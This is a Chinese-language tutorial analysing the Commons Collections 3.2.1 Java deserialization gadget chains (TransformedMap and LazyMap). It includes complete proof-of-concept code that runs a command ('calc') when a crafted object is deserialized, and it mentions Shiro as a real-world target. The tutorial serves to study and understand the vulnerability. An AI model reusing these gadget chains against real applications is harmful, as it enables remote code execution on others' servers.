java序列化是将对象转换成字节序列的过程以便存储在文件,内存,输入流中。 java 反序列化就是将字节序列转换成对象的过程
其实CC链目前总共有两条链,一条是**TransformedMap**,一条是**LazyMap**,这两条链第二条是国外研究人员发现并传入国内,然后国内研究员在此基础上挖掘出的又一条利用链——**TransformedMap**。总的来说**TransformedMap**这条链是较为容易理解和实现的,而**LazyMap**这一条链利用过于复杂,理解的话会有些许的绕。
总结:
针对以上两条利用链大概有如下的一个利用流程图,readObject()作为结尾,transform()作为入口,至于为什么transform()作为入口,后文有讲解

下面开始捋一捋
前置条件:
commons collections版本:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
jdk8u65:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
rt等源码包:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
零,前置知识:
一,使用Runtime完成命令执行
public static void main(String[] args) throws IOException {Runtime runtime = Runtime.getRuntime();runtime.exec("calc");}
二,使用反射完成命令执行
当然反射的话还有其他的方式完成,这里暂时就使用这一种,各位师傅自己可以弄弄其他的方法
public static void main(String[] args) throws IOException {Class c=Runtime.class;Method getRuntime=c.getMethod("getRuntime", null);Runtime runtime = (Runtime) getRuntime.invoke(null, null);runtime.exec("calc");}
三,InvokeTransformer的利用方式(对Runtime不能反序列化的改进)
public static void main(String[] args) throws IOException {Method getRuntimeMethod= (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);Runtime runtime=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class} , new Object[]{null,null}).transform(getRuntimeMethod);new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);}
四,对Runtime的优化利用
先看部分源码以便理解后面的代码
public class ConstantTransformer implements Transformer, Serializable {//省略上下文只看主要代码/*** Constructor that performs no validation.* Use <code>getInstance</code> if you want that.** @param constantToReturn the constant to return each time*/public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}/*** Transforms the input by ignoring it and returning the stored constant instead.** @param input the input object which is ignored* @return the stored constant*/public Object transform(Object input) {return iConstant;}//其实从这不难看出,不论我们transform()输入和值,都是返回初始化ConstantTransformer()输入//的object值,所以就有了后文中的优化代码,这个地方很多师傅都说像留的后门,咱也不知道,咱也不清楚//省略后方代码,只看主要部分}
还有一个源码需要了解,如下
public class ChainedTransformer implements Transformer, Serializable {/*** Constructor that performs no validation.* Use <code>getInstance</code> if you want that.** @param transformers the transformers to chain, not copied, no nulls*/public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}/*** Transforms the input to result via each decorated transformer** @param object the input object passed to the first transformer* @return the transformed result*/public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}//这一段代码其实就是对transform的一个递归调用,因为上面接受transformer数组的构造器就是//一个初始化iTransformers的作用}
到此我们就可以看一下最终的一个优化结果
public static void main(String[] args){Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),//这里为什么这样使用在前面有介绍,相信各位师傅一眼就能明白了new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class} , new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//当然这个是不能直接完成命令执行的}
这时,优化后的结果还是不能直接进行命令执行的,之所以在这先讲出来,是因为不管是TransformedMap还是LazyMap他们的前半部分都是一致的,只是从xxxxMap的选择到readObject()才不是一致的,所以就先讲一下,不然后面重复讲没营养的各位师傅又不想看了,当然这个也是有视频讲解的
一,TransformedMap利用链
1,源码分析找利用链
前面我们说了一般的话要找一些危险的方法作为入口,比如exec这种,而在Commons Collections3.2.1中,在org.apache.commons.collections.functors中定义了一些功能类
有这些类都实现了Transformer的接口,所以我们可以进去看看有啥好东西没,看着这个名字的话,其实不难发现InvokeTransformerer,一看就不是个好东西,很危险,进去后,源码如下
public class InvokerTransformer implements Transformer, Serializable {//部分代码省略/*** Transforms the input to result by invoking a method on the input.** @param input the input object to transform* @return the transformed result, null if null input*/public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);//这里可以执行任何传入的input参数,这就很像一个任意命令执行了,所以我们就从这里找下去,看看有哪些类中调用了transform这个方法} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

使用右键点击方法,选择Find usages就可以看到有哪些类那些方法调用了该方法,从这里我们可以看到LazyMap和TransformedMap都调用了此方法,至于DefaultedMap暂时不看,这时我们主要看TransFormedMap是如何调用的
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {/*** Constructor that wraps (not copies).* <p>* If there are any elements already in the collection being decorated, they* are NOT transformed.** @param map the map to decorate, must not be null* @param keyTransformer the transformer to use for key conversion, null means no conversion* @param valueTransformer the transformer to use for value conversion, null means no conversion* @throws IllegalArgumentException if map is null*/protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;//这一个在在checkSetValue中并没有出现,所以我们就可以吧他设置成nullthis.valueTransformer = valueTransformer;//这个就是我们需要构造并传入进来的变量}/*** Override to transform the value when using <code>setValue</code>.** @param value the value to transform* @return the transformed value* @since Commons Collections 3.1*/protected Object checkSetValue(Object value) {return valueTransformer.transform(value);}//checkSetValue()就调用了transform()方法//而valueTransformer就是在构造方法中进行赋值,且类型也为Transformer,相信有java基础的同学已经能大概明白反序列化的整个利用过程了}
我们继续跟进,可以看到调用checkSetValue()是在AbstractInputCheckedMapDecorator这个抽象类中的setValue()方法,这个时候肯定是找谁调用了setValue()了
看到这个readObject()没,我们前面是不是说过,端点位置应该是readObject()或者危险方法啥的,既然找到这来了,其实我们的整个分析过程就结束了,我们还是看一下源码怎样吧
class AnnotationInvocationHandler implements InvocationHandler, Serializable {//这里可以看到AnnotationInvocationHandler是defualt权限,只能在本类本包中访问,所以我们在使用的时候就需要想一些办法//部分代码省略,只关注主要代码AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {//这个构造函数指出了我们创建对象需要使用的有哪些参数//Class<? extends Annotation> type:表名传入的应该是一个继承了Annotation的注解类//Map<String, Object> memberValues:指出我们需要传入一个map对象,结构是key的类型为String,value的类型为ObjectClass<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;//记住这儿的赋值,我们在readObject()的时候会使用到}private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {//这一步的话基本上没啥说的,基本进入readObject()都能通过s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {//初始化AnnotationType,详细调用处理过程看图【DEBUG 1-1-1】annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}//这里的话主要是获取注解类中的成员变量,什么是成员变量看图Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.//以上两句我们简单翻译一下就是如果注释没有成员变量,那么他的调用根据情况自由处理for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {//这里的话是遍历我们传入的map的值String name = memberValue.getKey();//获取传入值的key,value暂时不管Class<?> memberType = memberTypes.get(name);//这一个if语句就决定了我们传入的map的值必须为传入注释的成员变量名if (memberType != null) { // i.e. member still existsObject value = memberValue.getValue();//这个获取map的value其实感觉不重要if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {//至于值一句的理解我相信有java基础的基本都能看懂,对于isInstance()我们可以跟进去看一下,这里就不带大家看了,感兴趣的可以自己研究一下//然后就instanceof就主要是判断value这个值是否是ExceptionProxy的实例对象,如果是则不会进入setValue()方法,就不会完成命令执行,至于为什么,因为外面有"!"memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));//很多人可能会在这存在疑问,不是应该需要在setValue()传入我们命令执行的代码吗?因为只有这样才能触发呀,但是你经过debug就会发现//其实在执行到checkSetValue()的时候,我们需要执行valueTransformer.transform(value),而具体执行时会跳转到ChainedTransformer类中执行transform的遍历//遍历的时候使用的transformers是不是是我们构造好的Transformer[]数组呢。那你肯定会想不是第一个transform()会执行传入的input嘛?前面我们说了,在ConstantTransformer中transform后返回的是一个常量//具体可以看视频介绍}}}}}

【DEBUG 1-1-1】
2,POC展示及部分理解
经过上面的介绍我相信大家多多少少有一些理解了,现在放利用poc——>无需手动控制,其实如果只是看一下怎么利用的,不需要自动执行的就不用理解AnnotationInvocationHandler,但是在生产环境中这就毫无eggs用
public class TransformMapLink {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {//链式装载Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class} , new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);HashMap<Object,Object> hashMap=new HashMap<>();//注意此处的value,上文我们着重讲解过为什么用value,至于aa就写个字符串准没错hashMap.put("value", "aa");//这里才是整个POC的心脏部分//因为TranformedMap被私有化了,我们外部使用只能使用decorate()方法来创建mapMap outmap= TransformedMap.decorate(hashMap,null,chainedTransformer);//这里的话也是因为前文我们提到过AnnotationInvocationHandler被defualt修饰,我们外部无法调用,所以只能用反射了Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//这一步其实就是获取制定的构造器Constructor invocationHandler=c.getDeclaredConstructor(Class.class,Map.class);//将私有设置成可见invocationHandler.setAccessible(true);//初始化对象Object o = invocationHandler.newInstance(Retention.class, outmap);//将对象序列化serialize(o);//将对象反序列化后执行readObject()unserialize("ser.bin");}//就是序列化操作public static void serialize(Object obj)throws IOException {ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}//反序列化操作,这个其实在实际环境中是存在于shiro服务端的,他会解析序列化后的然后反序列化操作,然后就会执行readObject()方法,当然有些版本是重写了readObject()方法了的public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));//shiro中就存在这样的结构可以看图【Shiro 1-1-1】Object obj=ois.readObject();return obj;}}

【Shiro 1-1-1】
看到这儿了,我相信各位师傅应该都明白反序列化漏洞的原理了吧,自己可以去试试TransformedMap讲完了我们再看看稍复杂点的LazyMap的利用
二,LazyMap利用链
1,源码分析找利用链
LazyMap的话前面的分析和Transformedmap是一致的,前面我们也说了基本的一个顺序就是LazyMap调用——->InvokeTranformer继承——>Transformer
那我们经过前面的一步一步的查找讲解,这里我们就直接从LazyMap开始了
LazyMap主要源码:
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {/*** Factory method to create a lazily instantiated map.** @param map the map to decorate, must not be null* @param factory the factory to use, must not be null* @throws IllegalArgumentException if map or factory is null*/public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}/*** Constructor that wraps (not copies).** @param map the map to decorate, must not be null* @param factory the factory to use, must not be null* @throws IllegalArgumentException if map or factory is null*/protected LazyMap(Map map, Transformer factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");}this.factory = factory;}//-----------------------------------------------------------------------public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {//需要key不在map中存在Object value = factory.transform(key);//经过TransformMap的理解,是不是一眼就看出来了,这就是一个触发点map.put(key, value);return value;}return map.get(key);}// no need to wrap keySet, entrySet or values as they are views of// existing map entries - you can't do a map-style get on them.
接下来我们就需要知道谁调用了LazyMap中的get()方法了
其实根据前辈的指引,最简单的一个调用就在AnnotationInvocationHandler的invoke方法中,但是这次需要使用动态代理才能完成,那么什么是动态代理,这里咱么简单的说一下:
动态代理
//创建一个接口public interface IHelloService {String sayHello(String userName);}//创建service类并实现IHelloService接口public class HelloService implements IHelloService {//对接口内的方法的一个实现@Overridepublic String sayHello(String userName) {System.out.println(userName + " hello");return userName + " hello";}}//创建动态代理调用器public class ProxyInvocationHandler implements InvocationHandler {/*** 中间类持有委托类对象的引用,这里会构成一种静态代理关系*/private Object obj ;public ProxyInvocationHandler(Object obj1){this.obj=obj1;}/**** @param proxy 代理对象* @param method 代理方法* @param args 方法的参数* @return* @throws Throwable* 只要是动态代理就会运行invoke方法,这个是由内部进行调用的*/@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {System.out.println("invoke before");//实现对具体方法的调用,至于method.invoke()的具体用法,辛苦各位师傅自行百度一下啦Object result = method.invoke(obj, args);System.out.println("invoke after");return result;}}//测试方法public class Test {public static void main(String[] args) {ProxyInvocationHandler proxyInvocationHandler = new ProxyInvocationHandler(new HelloService());//创建动态代理//其实helloService是由$Proxy0强转过来的IHelloService helloService = (IHelloService) Proxy.newProxyInstance(//指定代理对象的类加载器HelloService.class.getClassLoader(),//代理对象需要实现的接口,可以同时指定多个接口HelloService.class.getInterfaces(),//方法调用的实际处理者,代理对象的方法调用都会转发到这里proxyInvocationHandler);helloService.sayHello("王二麻子");}}
根据上面的讲解,我们就直接看POC吧
2,POC展示及部分理解
完整的poc如下:
public class LazyMapLink {public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException, IOException {Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class} , new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);HashMap<Object,Object> hashMap=new HashMap<>();//前面的内容是一致的Map lazyMap=LazyMap.decorate(hashMap, chainedTransformer);//这就是整个的触发点Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationdhdlConstructor.setAccessible(true);//因为我们说了是在AnnotationInvocationHandler的invoke方法中存在get()方法,所以前面的步骤是一样的InvocationHandler handler = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);//下面这个就是一个动态代理Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);Object o = annotationInvocationdhdlConstructor.newInstance(Override.class, mapProxy);serialize(o);unserialize("ser.bin");}//后面的因为上一个介绍过了这里就略过了public static void serialize(Object obj)throws IOException {ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));Object obj=ois.readObject();return obj;}}
至此Commons Collections 3.2.1的利用链就讲解完成了,至于LazyMap的利用链为什么将的很潦草,想必各位师傅看着代码的相似度和数量就不用了小弟在这赘述了
